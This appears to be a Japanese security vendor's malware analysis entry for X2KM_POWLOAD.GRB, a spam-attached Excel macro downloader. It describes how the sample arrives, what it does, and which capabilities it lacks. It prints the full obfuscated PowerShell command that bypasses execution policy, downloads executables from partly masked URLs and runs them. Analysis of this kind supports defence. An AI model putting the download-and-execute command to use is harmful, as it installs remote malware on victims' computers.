X2KM_POWLOAD.GRB

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。

マルウェアは、ワーム活動の機能を備えていません。

マルウェアは、バックドア活動の機能を備えていません。

マルウェアは、ダウンロードしたファイルを実行します。 ただし、情報公開日現在、このWebサイトにはアクセスできません。

侵入方法

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。

感染活動

マルウェアは、ワーム活動の機能を備えていません。

バックドア活動

マルウェアは、バックドア活動の機能を備えていません。

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• http://{BLOCKED}d.com/super.exe
• http://webmail.{BLOCKED}n.cz/porta.exe

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• %Application Data%\{random numbers}.exe
  where {random numbers} can be randomly generated from 0 to 61180

(註：%Application Data%フォルダは、Windows 2000、XP および Server 2003 の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\＜ユーザ名＞\AppData\Roaming" です。.)

マルウェアは、ダウンロードしたファイルを実行します。

ただし、情報公開日現在、このWebサイトにはアクセスできません。

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• %Application Data%\{random numbers}.exe {random numbers}には、無作為に生成された0から61180までの数があてはまります。

マルウェアは、以下のPowershellを利用して不正なファイルをダウンロードして実行します。

• pOwErshell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -exEcu BYpaSs -Wi 1 -NOPr $random = New-Object System.Random; Foreach($um in @({http://{BLOCKED}d.com/super.exe },{http://{BLOCKED}l.lorn.cz/porta.exe })) { try { $fg = $random.next(0, 61180); $pp = %Application Data%\' + $fg + '.exe'; (new-object system.net.webclient).DownloadFile($um.ToString(), $pp); Start-Process $pp; break; } catch { Write-Host $error[0].Exception } }

エクセルファイルには、以下が含まれておりマクロ機能を有効にするようユーザを誘導します。

マルウェアは、ルートキット機能を備えていません。

マルウェアは、脆弱性を利用した感染活動を行いません。